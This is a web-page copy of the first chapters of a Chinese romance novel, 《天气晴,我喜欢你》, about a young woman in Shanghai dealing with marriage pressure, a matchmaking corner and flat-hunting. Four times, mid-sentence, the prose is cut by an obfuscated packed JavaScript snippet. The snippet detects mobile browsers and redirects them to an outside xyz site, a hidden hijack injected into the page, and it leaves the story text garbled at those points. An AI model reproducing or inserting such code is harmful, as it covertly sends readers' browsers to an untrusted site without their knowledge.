《天气晴,我喜欢你》 1. 相撞 【小雨,我听说你之前关系最好的朋友考回家里当公务员了。】 【要不你也回来吧,不要再在魔都漂着了,回家找个工作结婚生子多好。】 裴雨烦躁的扣上手机,试图忽略掉她妈妈发来的消息。 回家,回家,回家。 只要一发消息不是催着她回家,就是催着她找对象嫁人。 好像她只要留在魔都就永远不会有个好结果一样。 她妈发来一条消息,不是在催她辞职回老家,就是在催她赶紧找对象成个家。她在魔都这几年,每一个重要节点——升职、跳槽、租房、搬家——都没能换来一句“你辛苦了”,反而是“你该考虑稳定了”。 “考公吧,公务员多好。” “你表妹都结婚生孩子了。” “再拖下去就没人要了。” 这些话像背景音乐一样循环播放。她不是不明白妈妈的出发点,只是每次听见都像是在被人用力推着往后退。 她站起来,拉开办公室的窗帘,阳光毫不吝啬地洒进来。不大的办公室里一半被书桌和打印机占了,另一半堆满了材料和咖啡罐子。她刚做完一个项目,客户还拖着尾款没结,而下一个合作还在洽谈中。 市场部经理,听起来很潇洒,妈妈却总觉得那是“没正事儿”。在她老家的朋友圈里,“铁饭碗”和“三十岁前嫁出去”才是成功的标配。 手机“叮”一声,又是一条微信。 【小雨,你想不想我给你介绍个对象?人挺好的,在市财政局工作。】 裴雨盯着那行字,过了几秒,默默关了消息提醒。 裴雨从工位上抬起头的时候,办公室已经空了一半。隔壁小组的同事背着包冲她挥手:“小雨你还加班啊?早点回家啊,今天外面堵车呢!” 她点点头,装出一副“我很淡定”的表情,等人走远,才揉了揉额角。电脑屏幕还亮着,文档上是一堆没对齐的图表,客户那边前天又改了需求,一堆活压着,偏偏她此刻一点心思都提不起来。 手机屏幕一闪,是妈妈的头像,静静躺在通知栏里,一整天没回的消息像一颗钉子,扎在眼角余光里,怎么都无法忽视。 她把电脑盖上,抓起包转身就走。 傍晚六点多,地铁站里人潮如涌。她像一只被驱赶的蚂蚁,裹挟在人流中,向前冲,步伐快得像是要从人群里挣脱出来。耳机里放着音乐,歌声却完全听不进脑子里,她只感觉脑袋空得发胀。 楼上在催进度,客户在催报告,妈妈在催她回家,连外卖小哥都在“请尽快确认订单”。世界仿佛都在赶着她做决定,而她却连今天晚上要吃什么都懒得思考。 地铁还没进站,她就早早地站在黄线边上,握着手机想了又想,最终还是没打开聊天界面。她知道,只要一打开,她就得面对那些她不想听却又不得不听的唠叨。 “你到底要漂到什么时候?” “你以后一个人在那边怎么办?” “我都为你愁死了。” 她快步穿过换乘通道,一边低头看手机导航,打算走捷径从四号口出去。转角处人流忽然涌过来,有人猛地拽了她一把,她踉跄了一下,脚下被什么绊到,身子猛地一晃,下一秒,只听见“砰”的一声。 “……哎哟!” 有人倒在地上。 她愣住,回头一看,一个男生正坐在地上,一边揉着脑袋一边皱着眉。 “我靠……怎么撞人了?”她赶紧蹲下去,“你没事吧?” 男生抬起头,眼镜已经不知道飞哪去了,脸上却是没什么表情,只是模模糊糊地眯着眼朝她笑了一下:“我没事,就是眼镜不见了。” 他声音挺好听的,清清冷冷的,像一股在喧嚣里不太合群的风。 “你先别动啊,我帮你找。”裴雨连忙四处看。 地铁通道里人来人往,行色匆匆,她几乎是爬在地上才看见那副银框眼镜滚到了墙边。 “找到了!”她小跑过去捡起眼镜,回来的时候才注意到男生身上的衬衫有点旧,衣角压得整整齐齐,裤子干净得像刚熨过,整个人看起来斯斯文文的,一副不太常来地铁的样子。 “谢谢你啊。”他接过眼镜,推到鼻梁上,才看清了她的脸,愣了一下。 “我刚才低头看手机也没注意,不好意思啊。”她略显尴尬。 “不,不是你的问题,是我自己走得慢。”他挠了挠头,有点不好意思,“我脑袋晕了一下。” “你还好吗?要不要我扶你去边上歇会儿?” “……嗯,好。” 她伸手扶起他,意外地发现他肩膀挺瘦的,整个人轻飘飘的,跟她想象里“被撞了” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718102|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的分量不太一样。他身上带着一股淡淡的烟草味,不浓,却很清晰。 两人一起走到旁边休息区坐下,他低头整理背包,像是在确认东西有没有掉。 “你是学生?”她看着清瘦的脸庞不确定的问。 “不是,打工人一个。”他说得很轻巧,“今天刚好来这边参加个讲座,不熟路。” “哦,我也是这站换乘。”她点点头,忽然想起什么,“你刚才不是说晕了一下?怎么回事,低血糖吗?” 他笑了笑:“可能是吧,昨晚熬夜来着,没事的。” “熬夜?”她皱眉。 “工作需要。”他抬起头,笑得坦坦荡荡,“打工人嘛,总是身不由己。” 裴雨一时不知道该接什么,她没想到看起来这么斯文平静的人,居然在跟她聊这个。 “你很意外?”他看着她的表情,嘴角扬了扬,“其实我觉得吧,现在年轻人不熬夜才奇怪。” 她突然想笑:“这话倒是……挺对的。” 他歪着头看她:“你看起来好像不太高兴?” 这句话像一颗钉子,正巧敲在她心尖上。 “你问得也太直了吧。”她轻轻一笑,却没否认。 “我妈今天给我发了五条消息,都是催我回家相亲结婚的。我整天忙着加班、跟客户扯皮、赶方案,我觉得我能喘口气就不错了,还谈什么婚姻。” 宋行舟看着她,眼神慢慢柔和下来:“听起来你也挺辛苦的。” “谁不是啊。”她耸耸肩。 两人沉默了一会儿,地铁进站的广播响了,风从通道口卷过来,带着一股晚高峰的烟火气息。 她看了眼时间,咬咬牙:“要不我送你出去吧?你看着还是不太稳。” 他没推辞:“好啊,那麻烦你了。” 两人并肩走在出站的电梯上,他比她高半个头,手里还拎着个沉沉的帆布包,站姿规规矩矩的。 “你叫什么名字?”她忽然问。 “宋行舟。” “挺有诗意的名字。” 他回头看她:“你呢?” “裴雨。雨天的雨。” “那今天刚好不下雨,不然你撞上我会更烦。” 她一愣,随后笑了,第一次觉得今天这场连环催婚催回家的闷局,好像没那么难熬了。 2. 相亲角 分别是在人民广场地铁站的出口。 “你一个人没问题吗?”裴雨还是有点不放心地问。 宋行周点点头:“我在这附近住,打车回去很快。你放心吧,今天谢谢你了。” “我还以为你会说‘下次请你吃饭当谢礼’那种套话。”她笑着打趣。 “那你愿意听吗?”他微微侧头,眉眼里透着点狡黠,“说了你愿意再见我吗?” 她噎了一下,没想到他还挺会说话的。宋行周看起来斯文得像个学究,聊起天来却比同龄人还要松弛。 “看我心情吧。”她扔下一句,又笑,“快回去歇着吧。” 目送他离开,她才忽然意识到,自己原本低压运转一整天的心情,居然因为短短十几分钟的对话而轻盈了不少。 地铁口的风还是闷的,但她脑子里那点焦灼感却意外地散了。 她随手在地图上搜了一下“人民公园”,鬼使神差地点下了“路线”。她知道那地方,一直知道——魔都相亲角的发源地,神州大地最著名的“父母市场”。 她只是……突然有点好奇。 也许,是宋行舟那句“现在年轻人不焦虑才奇怪”让她想看看,那些让她焦虑不安、被迫面对的人生节点,到底是个什么样子。 人民公园傍晚时分人还很多。 夏末的天还没完全暗下,林荫道边撑起了一排排遮阳伞,伞下是一块块手写的或打印的白纸,整齐贴在折叠椅背上。人们或站或坐,神情专注,一边打量着“资料牌”,一边跟对方交换着手机照片。 “女,1992年生,海归硕士,现供职外企,有房有车,要求男方年薪百万元以上。” “男,1989年,复旦硕士,体制内公务员,有房在建,父母退休公务员,寻魔都本地女。” “女,1996年,未婚,165cm,本科,小学教师,父母教师家庭,要求对方户口上海、名下房产清晰、已购社保满五年。” 裴雨站在一棵树下,半天没有动。她以为自己已经算是很能接受“现实”的人了,但亲眼看到这一份份像是商品说明书的“择偶条件”,心里仍泛起一阵异样的不适。 她不是没有见过人多的场景,也不是不知道“相亲角”这个魔都特色的存在,但她没想到,当自己真正站在这里时,会有种无法融入的抽离感。 她被一位满头银发的大爷拉着看了一张资料。 “这个,95年的,男孩子,人老实,在事业单位,自己攒钱买了套公寓,虽然小,但地段好。” 裴雨看了一眼,照片上的人戴着墨镜,一脸严肃,身后是某个景区的大佛像。 “他……是你儿子?” “外甥。”大爷头也不抬,“你是95后的吧?看起来还挺精神,你在魔都工作?” “嗯。” “户口是哪里的?” “西南那边。” “那父母是做什么的?在老家有房吗?你准备以后定居哪里?” 裴雨像被投了个速答题本,一时间都不知该先回答哪个。她下意识往后退了半步,嘴角挂着一点客气但有些僵硬的笑。 “我只是来看看。” “看看也好!看看了解行情嘛。”大爷似笑非笑地眯着眼,“现在95年都不小了,女孩子别太挑,你看那些90后在这边挑了好几年,还不是最后将就找了个……” 话没说完,裴雨已经不动声色地挪开了脚步。 她沿着林荫道继续往前走,想要从“游客”变成“参与者”,起码坐下来和几个大妈聊聊天。她找了一个角落,坐在长椅边,身边是一位中年阿姨,正在和另一位交换相亲对象的微信二维码。 “你那个上次相的公务员怎么样?” “不行,太木讷了,而且父母还是二婚。” “哎呀现在能找到个有房有编制的,性格就睁只眼闭只眼吧。” “那你家姑娘肯定不肯。” “我家小雨脾气拗,不肯就算了,反正我能替她多看看。” “小雨”这个词像一根针扎进裴雨耳朵。她回头看了那位阿姨一眼,不禁心想,会不会所有来相亲角的母亲都叫自己的孩子“小雨”、“小宁”或者“小辰”? 她鼓起勇气转过身,对那位阿姨笑了笑:“阿姨,我是97年的,还没结婚。” 对方愣了一下,随即热情起来:“哎呀,那你要不要把条件写一份?这边有打印的地方,也可以手写,我给你介绍几个我认识的男生,条件都不错,都是本地人。” “我……没有资料纸。” “没关系,先说说条件?你做什么工作的?月收入多少?有房吗?有没有贷款?” 裴雨顿了顿,缓缓开口:“我在外企做市场部经理,月薪两万多,没有房,租的房子,自己一个人住。” 阿姨听完后笑容明显温和了一些,但眼里透出一丝遗憾:“一个人住也好,起码能照顾自己。就是没有房子有点吃亏,现在男方家都希望女方至少有份房贷在身上,显示你也有‘共同承担’的能力。” “共同承担?”裴雨小声重复了一遍,仿佛在反刍这四个字。她从来没有想过,自己未来婚姻的筹码,要靠贷款来换取公平。 “你家有兄弟姐妹吗?”阿姨又问。 “没有,我一个孩子。” “那更要早点结婚了,你要是不尽早嫁出去,等你岁数上来,你爸妈压力就大了。现在年轻人都这样,拖着拖着就剩下了。” “我没觉得自己是‘剩下’。”她终于忍不住小声回了一句。 阿姨愣了一下,随即摆摆手:“你别误会,我不是那个意思,只是你要理解,婚姻嘛,不只是你自己的事。咱们现在这个时代,女人的青春不能耗太久。” “你是新魔都人吧?”那位阿姨又说了一句。 “……什么意思?” “就是最开始不是本地户口,在这边工作几年的人啊。现在新魔都人也分很多层次呢。有些是高知高薪,自己能买房落户;有些还住在五环外打拼,想嫁个本地人改变命运的。还有些就……年纪大了,凑合着结婚。” 她话说得毫不遮掩,甚至有点过于直白了。可周围听的人却没有人反感,仿佛这就是规则,这就是“现实”。 裴雨嘴唇动了动,想反驳什么,最后却什么也没说。她站在原地,只觉得自己像个傻子似的,居然还带着几分好奇走了过来,结果被这场“户口-收入-年龄”的公开比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718103|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武浇了一头冷水。 她忽然想起,宋行周没提及他的职业,只说晚上经常通宵,难道是个大厂员工? 如果把他的资料写在纸上,贴在这里,会不会被一句“工作不稳定”、“收入不稳定”、“不属于本地优质资源”给踢出去? 她居然有点不开心。 不是为自己,而是为这个场景本身。 一阵风吹来,树上的叶子哗啦哗啦响,有人从她身边走过,拎着喇叭在放轻音乐,还有人带着家里的小狗,边遛边和另一位家长商量婚事。 空气混杂着香水、汗味和树叶的青涩气息,还有各种对话: “他年薪八十万?可他离过婚啊。” “魔都户口是他爷爷的吧,跟他没关系。” “95年还没结婚啊,太拖了。” 裴雨突然觉得脑子有点炸。她不是不能理解这些标准、标签和量化条件存在的合理性,但她无法接受,自己真的要被摆上这一排排椅子、遮阳伞、A4纸中,被无数陌生人拿着计算器般的目光来衡量价值。 她站了起来,走到一个打印摊位前,犹豫了几秒,又退了回来。 “要不要帮你打份资料?”摊主问。 她摇摇头:“不用了,谢谢。” 她穿过人群,越走越快,越走越急。她不知道自己在逃避什么,只知道自己不想再待下去了。 仿佛迟一分钟,就要被这个相亲角消化掉,再也走不出来了。 出了人民公园,她深吸了一口气,天已经彻底黑了,远处陆家嘴的灯光一闪一闪,像隔着一条河的异国世界。 她回头看了一眼那座公园,忽然有种难以言说的释然。 她知道自己不会再来第二次了。 离开公园的时候,天已经完全黑下来了。马路对面是灯火通明的商圈,人群熙熙攘攘,地铁站口还有人举着牌子发传单,晚饭时段刚开始,一切看上去那么热烈,而她却像被这热烈压得喘不过气来。 她走到一处长椅上坐下,掏出手机,看到妈妈的消息又发了一条:“小雨,你看到我发的了吗?你那个高中同学已经订婚了,人家也是留在老家找了个好人家,稳定又安心。” 她指尖停在屏幕上几秒,终于回了句:“我今天刚去人民公园看了相亲角。” 对面很快发来语音:“哎呀你总算想通了!你看,妈也不是逼你,我是希望你以后过得安稳,不要一个人那么辛苦。你要是能找个本地人,安安心心过日子,妈睡觉都能笑醒……” 裴雨没点开语音,只是盯着语音右侧那个波纹线一跳一跳地颤动。她脑子里却全是宋行舟蹲在地上找眼镜的样子,那双眯着的眼睛,平静又克制,却不卑不亢。 她又点开了朋友圈,滑了几下,更新了一条状态: 【下班后出来透气,结果在地铁口撞见个很有趣的人。】 没有配图,没有提及名字。 她看着那行字,忽然笑了一下,然后回到和妈妈的聊天框,打下一行字: 【你放心,我不会随便找个人结婚的。】 她删掉,又改成: 【我在努力过我自己想要的生活。】 这次她没有再删掉,点了发送。 3. 出门在外,身份是自己给的 裴雨回到出租屋时,天已经完全黑了。 整座城市像一只安静却巨大的怪兽,吐出光亮、喧嚣和疲惫的烟雾。她一路上没再看手机,只是机械地搭地铁、刷小区门禁卡、上楼。 她住在老楼的六楼,没有电梯。到了门口,她靠在铁门上站了一会儿,听着对门电视的声音,才伸出钥匙开门。 房门打开那一刻,她有点松口气。 还是这间熟悉的小屋,才四十来平方,厨房和厕所打通在一块,房间也只有一个主卧勉强放下一米五的床。客厅狭长,靠窗的位置放着她在二手市场淘来的小餐桌,上面还堆着昨晚没扔的外卖盒。 她扔下包,鞋也没换,整个人往沙发上一倒,闭着眼深呼吸。 这才是她在魔都最真实的落脚点。 人民公园的相亲角像一场高浓度的信息潮,把她冲得发懵。她本来是想抓点实感——哪怕只是看看市场行情,或者给母亲一个交代。可结果是,她发现连参与都让她觉得疲惫。 她给自己倒了杯热水,刚喝一口,手机“叮”了一声。 一开始她没想看,还以为是公司群里又在卷什么节日海报,等躺到床上刷朋友圈时才想起刚刚那一声提示。 点进去一看,是房东发来的消息。 房东:小裴,最近还好吗?有个事要跟你说下。 她下意识坐起身来。 房东是个四十多岁的女人,说话挺客气,两人平时联系也不多。她犹豫了下,回了句: 裴雨:嗯嗯挺好的,怎么了? 对方秒回。 房东:这个房子你租了也快三年了吧?本来我们一直也挺放心的,不过我这边有点变化。 房东:我们准备明年全家移民加拿大,可能要把这套房子处理掉了,不再对外出租。 她眼皮一跳,整个人从床上坐直了。 处理掉?不再出租? 她盯着那一行字看了好几遍,手指冰凉。 这是她在魔都住得最久的一套房。周边环境她熟,楼下的便利店老板都认识她,有时候她工作晚了,他还会给她留一瓶她爱喝的无糖豆奶。 她租的价钱虽然不低,但放在魔都算便宜的。房子采光也还不错——只要她能早起一点,就能看见东边透进来的一小块日光落在她的被子上。 现在说没就没了? 她努力让自己冷静下来,回复: 裴雨:房子是要卖掉吗? 房东:嗯,对,我们家可能要全款处理。这个地段房价还可以,挂牌后很快就能卖出去。 接着,对方又补了一句: 房东:你要是想买,我可以优先考虑你,也可以便宜一点,毕竟你住得惯。 这句像一锤子,直接砸在她心口。 她还没缓过来,对方又发了一个小区近三个月的二手房均价截图:单价8.9万,四十平,挂牌价在380万上下浮动。 她的呼吸顿住。 买不起,也不敢想。 她银行卡里攒了三年多的积蓄,不到四十万,还包括了工作前两年省吃俭用、甚至年终奖都没动过的全部积累。 连首付都不够,更别说她这种职业性质、总在跳槽,社保断断续续的情况,银行也不会轻易批贷。 她靠在床头,盯着天花板看了很久。 想笑,又笑不出来。 她想起自己刚毕业那年住的地下室,没窗户,白天也要开灯。夏天热得睡不着,半夜爬到天井边乘凉,还要防蚊子。 那时候她告诉自己,只要咬牙熬几年,总能在魔都立住脚。 可现在呢? 三年,站都还没站稳。 房子要卖了,通知也不是“考虑”,而是“准备移民”,是“不会再出租”。 她忽然有点想哭,又觉得哭出来也没用。 裴雨点开支付宝,翻到“房租”那一栏,看着每一笔扣款时间,再翻到“储蓄”,看着那一排越来越慢的增长数字。 她开始下意识搜索同片区的合租房。发现要不就是面积太小,要不就是要合用卫生间。 她已经没办法再和别人合住了。 不是嫌弃谁,是生活方式已经定型了。她早上起来素颜、半裸着在屋里走来走去、工作到凌晨吃泡面、不收拾厨房这些自由,在合租里都会变成尴尬和不安。 她不想再回到那种战战兢兢地生活了。 可现实是——她别无选择。 她像泄了气的气球一样倒在床上,一动不动。 黑暗中,手机又亮了一下。她点开,是母亲发来的新一条消息: 【你表姐订婚了,男方在成都有房有车,两家条件也差不多,你再不考虑就真的没人要了。】 她盯着那条消息,忽然觉得很讽刺。 要是回了家,或许能靠家里介绍房子、对象、一条龙解决;可她一咬牙留在魔都,靠的就是努力、拼命和自我支持——可结果却连个落脚的地方都没有。 她不知道自己当初拼命留在这里,是为了什么。 是为了梦想吗?是为了证明点什么?是为了不想成为“听话”的那个“别人家的女儿”? 可她想了很久,发现自己好像也没有多么理想主义,只是不甘心吧。 只是想做自己的主,哪怕辛苦点,起码是“我选择的”。 手机再次震动,是朋友发来的消息。 林淼:今天晚上你还好吗?听说你去了相亲角,我妈妈说看见你了。 她盯着那行字看了很久,最终只打出三个字: 裴雨:还行吧。 过了会儿,她又打下一句。 裴雨:就是房东突然说要卖房,不再出租了,我得找新房子了。 这次对面沉默了一会儿,才回: 林淼:如果你不嫌弃的话……我家那边有一间空房,虽然在郊区,远了点,也旧,但你可以先住段时间。 她看着那条消息,眼眶一热,却什么也没说。 她知道,自己不会去住。 但也知道,这个城市还是有人记得她的。 她轻轻合上眼,躺在床上,任由夜色一点点沉下来。 第二天一大早,裴雨没去公司。 她请了年假,一觉睡到了自然醒,却没有丝毫放松的感觉。 醒来的第一件事,是把自己关进浴室洗了个热水澡,然后裹着浴巾站在镜子前,看着自己洗得通红的脸发呆。 “打起精神来。”她对着镜子说。 然后花了整整五分钟,把自己吹干、穿戴整齐,重新刷了一遍租房APP。 上面那套熟悉的房源——她租了三年、熟门熟路的那套老房子,依然挂在“即将下架”的红字提示下,亮得扎眼。 她没再犹豫,点开了附近几个中介电话,准备放手一搏。 电话很快接通,是个男声,语气极快:“喂,您好,请问您要租房是吗?” “嗯,我现在住在中山公园附近,预算差不多五千吧,不想换得太远。” “那您是一个人住还是?” “啊……”她的脑子一抽,突然不知道哪根神经搭错了,鬼使神差地脱口而出,“我是……离异,带一个孩子。” 电话那头顿了顿。 “……好的,没问题。” “就是,我孩子现在读幼儿园了,不太想总搬来搬去,所以希望房子能稳一点,我也不会轻易搬家。”她干脆一不做二不休,继续编下去。 “明白明白。”中介的语气立刻变得客气起来,甚至带了一丝“理解万岁”的同情味儿,“这边我们会优先帮您挑稳定房源的,那孩子平时也要安稳点嘛,您放心。” 挂断电话后,裴雨盯着手机愣了好几秒,然后扑倒在床上大笑出声。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718104|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疯了吧你,裴雨。”她捶了下枕头,自言自语,“什么带娃离婚,你电视剧看多了?” 可说来也奇怪,那一刻她居然感觉自己在这城市里“稳了几分”。 或许是因为,“离婚带娃”这几个词,听起来就不是能轻易被赶走的角色。 很快,房产中介的微信“叮叮”响个不停。 信息一条接一条: 【小姐姐,这是离你现住处步行十分钟的公寓,两房一厅带电梯,租金5300,比你现在高一点点,不过很安静。】 【这一套有点老,但房东是退休老师,人特别好,而且长期出租,最适合您这种有小孩的家庭。】 【这套采光很好,适合孩子晒太阳——小朋友现在多大?要不要我也一起帮您查查附近幼儿园?】 她盯着手机,头皮发麻。 你编的谎,得自己演下去。 她开始给“孩子”设定人设。 “我家小孩三岁半,活泼,就是有点认生,不太喜欢新环境。”她边敲字边笑,笑完又觉得这事有点滑稽。 房子一套套刷下来,照片看得眼睛都花。裴雨突然有点累。 为什么她要这么紧张地找房子?为什么她得用“带娃”的借口来掩盖一个独居女人的脆弱? 她心里明白。 在这个城市,独身租客是不稳的,是“随时可能消失”的。房东会担心租不长,中介也不会上心。可一旦你身后有个“孩子”,就像在身份后面加了一块石头,显得沉稳、可靠、不会轻易迁徙。 她突然想起她母亲曾经说过的一句话: “一个人在外面,别人都不会真当你一回事,除非你有拖油瓶。” 她当时还跟母亲争:“我又不是谁的负担,为什么要把孩子叫拖油瓶?” 可现在,她居然主动变成了那个“带着孩子”的人。 为了租房。 中介终于约了两套房,让她去线下看房。 她特地穿了件素色针织衫,又背了个看起来比较“妈妈感”的帆布包,走进那家小区的时候,还不忘在楼下超市买了根棒棒糖拿在手里。 “装得真敬业。”她边走边自嘲。 见面的是个年轻男中介,一见面就特别热情:“哎呀,您本人比照片还年轻,我还以为您三十好几了呢!” 裴雨差点没绷住。 “哈哈,我就是保养得好。”她挤出笑。 “孩子没一起来吗?” “啊,今天幼儿园开放日,我让他奶奶带着去看看了。”裴雨胡诌地越来越熟练,顺便还编了个“前夫家愿意出力带孩子”的设定。 “那您这边是自己租,还是和家里一起住?” “自己,我工作忙,孩子平时也早上送托,晚上接回来,基本不打扰邻居。” “明白明白,那这几套您要不先看看?我这边还有几套低楼层的适合小孩活动。” 一上午,她看了三套房。一套太旧,进门就有一股油烟味;一套采光好,可离地铁太远;最后一套刚刚好,但价格偏高,中介还特别补刀:“这房东孩子都送出国了,这房子是留给他孙子的,将来不会卖,也不会涨租。” 她愣了愣。 “你说啥?” “就……适合您这种准备安顿下来的。” 她没有再解释,点点头:“我回去考虑下。” 回到出租屋的那一刻,她松了一口气。 她坐在小桌前,看着那堆房源截图,一边啃超市买的冷面包,一边脑子里飞快地盘算着三个月的搬家计划。 她不能拖。 不能指望房东“网开一面”,更不能祈求自己能偶然中个彩票,立刻拥有购房能力。 她只能靠自己——甚至连身份,也靠自己“捏造”。 在这个城市里,裴雨终于明白了什么叫“出门在外,身份是自己给的”。 4. 找房风波 裴雨刚睡醒,就接到了组长的电话。 “你那边年假还剩几天?” 她迷迷糊糊地抬手看了眼时间——早上七点三十五。 “……我只请了一天。”她嗓音还带着起床的沙哑。 “那好,今天早点来,公司这边临时接了个外部审核项目,上午九点要开临时会,记得带笔记本。人都要到。” 裴雨捂着眼睛应了一声,挂断电话,呆坐在床边。 她从来不是一个轻易叫苦的人,可那一刻,她确实感到了一种“喘不上气”的疲惫。就像是好不容易靠边停了一会儿车,正准备下去透个风,车门还没推开,就又被从后座踢了一脚,连滚带爬地赶回方向盘。 洗漱、化妆、塞面包、出门。她走得飞快,步子却软得像在水里踩。 魔都四月的早晨已经带点燥热,地铁上人潮如涌,她拽着扶杆,盯着站名一个一个跳过,觉得每一站都像是一个“暂停失败”的提醒。 到了公司,果然人仰马翻。审核组的人早到了,一连串文件调取、历史记录查询,还有数据比对都像是临时起的火,烧得人头皮发麻。 裴雨在工位上一坐就是六个小时,期间连水都顾不上喝。她负责的版块偏偏涉及多个旧项目的交叉板块,项目老早就结题了,她连翻文档都要倒回三年前的备份去找。 中午休息时她才终于松了口气,结果刚端起饭,就听见隔壁同事小声说:“哎,那个谁,裴雨,她不是请假了吗?怎么这么快就回来?” “听说她一直一个人住,也没什么家里的事,就是自己躲出去躲几天。” “不会是失恋了吧?” “你说她那种……一个人漂在这儿,也没对象,每天加班……我反正不太理解。” 裴雨夹起筷子的手顿了顿,随后继续低头吃饭,像是什么都没听见。 她不是没想过解释,也不是没想过怼人。 但人一旦开始疲惫,连反击的力气都会被压成一口叹息。 整个工作周都在混乱中度过。 她每天下班都像被抽干了力气,回到出租屋就是“关机”,连换衣服都得在沙发上坐十分钟缓缓。 “上辈子造了什么孽,选了这个专业。”她趴在床边自言自语。 租房的事一点没进展。她周中抽不出时间看房,中介发来房源她点开也只是扫一眼,“啊,贵”、“离地铁太远”、“一楼没阳光”、“老房太压抑”,合起来就只有两个字:算了。 周末终于得空,她在手机上预约了两套房,出门前还特地早起洗了头、化了个妆,把自己弄得像个“正准备在新房生活的好租客”。 结果,第一套在小区最深的一个单元,爬了五层,屋子一进门就有股潮味,厨房里堆着上任租客留下的电饭煲和油渍锅盖,墙角斑驳,阳光只能从对面楼的缝里挤进来。 “房东不愿意粉刷了,”中介讪讪地说,“价格已经给得很低。” 第二套还不如第一套,户型不通透,窗户被外面邻居家晾衣架挡住,隔音也差得出奇,站在客厅都能听见楼下人在大声打电话吵架。 “他们一家人是住在这栋楼十几年的了,平时就是热闹了点。” 她点点头,礼貌地说:“我再考虑下。” 等她一个人走出楼道,背对中介后,脸上的笑容立刻垮掉。 她坐在街角便利店门口的长椅上,买了一瓶乌龙茶,拧开喝了一口,突然一阵心酸。 她在魔都这么多年,怎么到最后连个合适的落脚点都找不到? 她打开手机,翻到自己的工资明细。 税前两万,税后一万五,房租占掉了五千五,每月吃饭交通水电保险,再加上时不时寄给家里的钱,能攒下来的少之又少。 高工资是光鲜的说法,高压、工作负荷、熬夜与应酬才是真实的内容。 她用的是两万的时间体力,却过着一万五的生活;她被逼着保持“职业形象”,却连下一套房子都找不到着落。 周围的朋友,有的结了婚,有的回了老家,有的干脆辞职gap一年去旅行,只有她像个不停打转的陀螺,不敢停,不敢动,也不敢乱花钱。 她再一次刷开中介发来的新房源,房价越看越心虚,评论越看越焦虑。 “房东一年一涨。” “合同短签,半年起租。” “室友是情侣,介意勿扰。” “养宠物勿扰、带娃勿扰、单身女性慎选。” 她突然觉得自己像个被筛子筛出来的多余人。 连租房这件事,都要把人分类分得如此具体。 周日下午,她回到住处,衣服都没换,就在沙发上坐了很久。 “不是不努力,”她对自己说,“是城市太大了,像我这样不靠家、不靠人、不敢病也不敢歇的人……太多了。” 她没有哭。 不是不难过,是太累了,连眼泪都被蒸干了。 夜晚来临,窗外风很小,远处地铁的轰鸣声一阵阵传进来。她靠在沙发上闭上眼,脑子里却全是那些不满意的房子、涨租的通知、中介的催问。 她还没想好怎么撑下去,但她知道,明天又得继续装作“撑得住”的人。 因为她不是带娃的妈妈,不是本地的有房产者,不是别人眼中的“稳定分子”。 她只是裴雨,普通、孤身、漂泊,却不得不咬牙留下来的人。 这个城市偶尔还是有光的,尤其在雨后初晴的时候。 裴雨站在那套公寓的阳台上,四层,不高不低,正对一排银杏树,春天的新叶还没彻底张开,一簇簇浅绿铺满视线。 小区是九十年代的老式单位房,格局方正,南北通透,虽然没有电梯,但楼梯干净,没有杂物。她走了一圈就喜欢上了。 客厅铺了地板,阳光落进来时一块一块,斜斜地照在沙发扶手上。厨房不大,但有窗,通风好,水龙头也不滴水。卧室正好能放下一张一米五的床和一个小衣柜,还有个飘窗可以养点绿植。 中介边带她看边说:“房东是退休老夫妻,孩子定居国外,他们平时就住在郊区别墅,这套准备长期出租。你这样的单身租客他们最喜欢了,不吵不闹,干净利索。” 她看着厨房瓷砖上的小花纹,还有橱柜门角落的磁铁挂钩,忍不住笑了。 这间房像是专门等着她出现一样。 “租金多少来着?”她再次确认。 “一个月五千三,押一付三。”中介比了个“ok”的手势,“在这个地段,捡漏了。” 她没有再犹豫,点头说:“那就签吧。” “好,我现在联系房东,看能不能明天上午签合同,你中午过来一趟行吗?” “行。”她毫不迟疑,“身份证复印件和工资单我都可以提前发。” 从中介那里出来,天开始放晴。她走在小区外围的林荫道上,风从树梢拂下来,卷着微微的草木香。 这大概是她近几个月来第一次笑得这么自然。 她一边走一边给朋友发消息:“我终于找到房子了!” 那头的朋友秒回:“天呐,你太厉害了!简直打怪升级成功!” “房子真不错。”她附上一张阳台的照片,光影明亮,“像个有出口的日子。” 第二天早上,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 